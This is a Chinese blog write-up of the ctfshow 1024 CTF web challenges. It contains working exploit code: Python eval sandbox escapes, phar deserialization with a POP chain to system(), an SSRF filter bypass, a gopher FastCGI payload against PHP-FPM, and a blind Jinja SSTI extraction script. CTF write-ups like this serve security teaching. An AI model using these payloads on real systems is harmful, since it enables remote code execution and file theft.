ctfshow-1024杯(web)

1024_fastapi

import requests

url = 'https://5f2d9897-92dc-41b2-81a8-9858d4222477.challenge.ctf.show/cccalccc'
for i in range(1, 500):
    data = {
        'q': "str(''.__class__.__base__.__subclasses__()["+str(i)+"])",
    }
    r = requests.post(url, data=data)
    if 'subprocess.Popen' in r.text:
        print(i)
        # ''.__class__.__base__.__subclasses__()[220]('ls /',shell=True,stdout=-1).communicate()[0].strip()
        rr = requests.post(url, data={'q': "''.__class__.__base__.__subclasses__()["+str(i)+"]('ls',shell=True,stdout=-1).communicate()[0].strip()"})
        print(rr.text)
''.__class__.__base__.__subclasses__()[220]('cat /mnt/f1a9',shell=True,stdout=-1).communicate()[0].strip()

main.py:

from typing import Optional
from fastapi import FastAPI, Form
import uvicorn

app = FastAPI()

@app.get("/")
def hello():
    return {"hello": "fastapi"}

@app.post("/cccalccc", description="安全的计算器")
def calc(q: Optional[str] = Form(...)):
    try:
        hint = "flag is in /mnt/f1a9, try to read it"
        block_list = ['import', 'open', 'eval', 'exec']
        for keyword in block_list:
            if keyword in q:
                return {"res": "hack out!", "err": False}
        return {"res": eval(q), "err": False}
    except Exception as e:
        return {"res": "", "err": True}

if __name__ == '__main__':
    uvicorn.run(app=app, host="0.0.0.0", port=8000, workers=1)

 只过滤了这4个,我用subprocess.Popen,一个waf也没遇到,只能说太顺了。

['import', 'open', 'eval', 'exec']
import requests

url = 'https://bbae7a86-7573-47b6-b528-8bd982d32847.challenge.ctf.show/cccalccc'
for i in range(1, 500):
    data = {
        'q': "str(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__'])",
    }
    r = requests.post(url, data=data)
    if 'eval' in r.text:
        print(i)
        # [].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['ev"+"al']('__imp'+'ort__("os").po'+'pen("ls").read()')
        rr = requests.post(url, data={'q': "().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['ev'+'al'](\"__imp\"+\"ort__('os').pop\"+\"en('ls').read()\")"})
        print(rr.text)

1024_柏拉图 

filefile://:///var/www/html/index.php
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>
filefile://:///var/www/html/upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>
filefile://:///var/www/html/readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>
filefile://:///var/www/html/unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>
filefile://:///var/www/html/class.php
<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

 满足phar反序列化要求:有对文件进行操作,如file_get_contents,fopen等等。

 绕过phar://开头:

compress.bzip://phar://upload/a.gif
compress.bzip2://phar://upload/a.gif
compress.zlib://phar://upload/a.gif
php://filter/resource=phar://upload/a.gif
php://filter/read=convert.base64-encode/resource=phar://upload/a.gif

绕过图片检查

  • 可以修改phar文件名的后缀
  • 文件开头添加GIF89a(gif的文件头)等绕过十六进制检查
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

playload:

<?php
class A {
 public $a;
}
class B {
 public $b;
}
class C{
 public $c='system("ls /");';
}

$a = new A();
$b = new B();
$c = new C();
$a->a = $b;
$b->b = $c;

$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

 将得到的文件后缀名改为.gif后上传。

然后在readfile.php下写

?readfile=compress.zlib://phar://upload/a.gif

 发现有ctfshow_1024_flag.txt

重新编写,将$c改为'system("cat /ctfshow_1024_flag.txt");';再进行一次phar即可。

这里有 phar反序列化原理及利用-CSDN博客

1024_WEB签到

题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

只有一个输入点,执行动态函数,且不能写参数。

所以我们只能输入类似phpinfo这类以知函数,先输入

?f=phpinfo

可以找到这样的输出。 也算是一个名为 ctfshow_1024 的 PHP 扩展或自定义函数被启用。

直接传入,得flag。 

?f=ctfshow_1024

1024_图片代理 

gopherus项目地址https://github.com/tarunkant/Gopherus

p神:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)

 使用fastcgi未授权需要知道已知的php文件路径,在找不到文件路径时,可以用安装php的时候,服务器上附带一些php后缀的文件:find / -name '*.php'

详细的可以看p神文章

所以这里用gopherus时上面的路径应该都是可以的,我试了下面两个都行,都可以拿去未授权。 

base64编码:
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOCUwMCUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUJTQ1JJUFRfRklMRU5BTUUvdXNyL2xvY2FsL2xpYi9waHAvUEVBUi5waHAlMEQlMDFET0NVTUVOVF9ST09ULyUwMSUwNCUwMCUwMSUwMCUwMCUwMCUwMCUwMSUwNSUwMCUwMSUwMDglMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjdscyUyMC8lMjclMjklM0JkaWUlMjglMjctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0lMEElMjclMjklM0IlM0YlM0UlMDAlMDAlMDAlMDA=

 还有就是可以通过查看/etc/nginx/conf.d/default.conf, 是 Nginx 服务器的默认配置文件。这个文件包含了处理传入 HTTP 和 HTTPS 请求的服务器配置指令。

file:///etc/nginx/conf.d/default.conf
ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==
server {
    listen 80 default_server;
	listen [::]:80 default_server;
    root         /var/www/bushihtml;
    index        index.php index.html;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    location / {
        try_files $uri  $uri/ /index.php?$args;
    }

    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        include        fastcgi_params;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    }

    location = /404.html {
		internal;
	}

}

 也可以找到php文件,也能够确认是fastcgi:

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

 说明在/var/www/bushihtml下存在一个index.php的php文件。也可以拿去未授权。

 

效果一样。 

1024_hello_world

不想写前面的了,直接看脚本吧。

过滤了{{,__,.

{{}}就用{%%}来绕过。“.”就用[]来绕过,下划线就用编码绕过,16位编码,Unicode编码都可以。

最开始还在request.args.xxx来绕,一直不得行,然后突然意识到“.”已经莫有了,晕。

由于是盲注,就{%if ()["\\x5f\\x5fclass\\x5f\\x5f"]%}1111{%ecdif%}来绕过,意思是有类容就回显111。

import requests

url = 'https://bae7fe0f-48b6-4241-a419-2934bccd6caf.challenge.ctf.show/'
for i in range(1, 500):
    data = {
        "key": '{%if ()["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["eval"]%}111{%endif%}'
    }
    r = requests.post(url, data=data)
    if '111' in r.text:
        print(i)
        index = i
        break

dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{-}'
flag = ''
for j in range(0, 60):
    for char in dic:
        data2 = {
            # 这里可以用Unicode编码
            "key": '{%if ()["\\u005f\\u005fclass\\u005f\\u005f"]["\\u005f\\u005fbase\\u005f\\u005f"]["\\u005f\\u005fsubclasses\\u005f\\u005f"]()['+str(index)+']["\\u005f\\u005finit\\u005f\\u005f"]["\\u005f\\u005fglobals\\u005f\\u005f"]["\\u005f\\u005fbuiltins\\u005f\\u005f"]["eval"]("\\u005f\\u005fimport\\u005f\\u005f")("os")["\\u005f\\u005fdict\\u005f\\u005f"]["popen"]("cat /ctf*")["read"]()['+str(j)+']=="'+char+'"%}111{%endif%}'
            #"key": '{%if ()["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["eval"]("\\x5f\\x5fimport\\x5f\\x5f")("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("cat /ctf*")["read"]()['+str(j)+']=="'+char+'"%}111{%endif%}'
        }
        r2 = requests.post(url, data=data2).text
        if '111' in r2:
            flag += char
            print(flag)
            # ctfshow{f8a0e846-71b8-4745-88b3-3b61b7d6c0ec}

此题方法还有很多,你们可以trytry!

  • 58
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值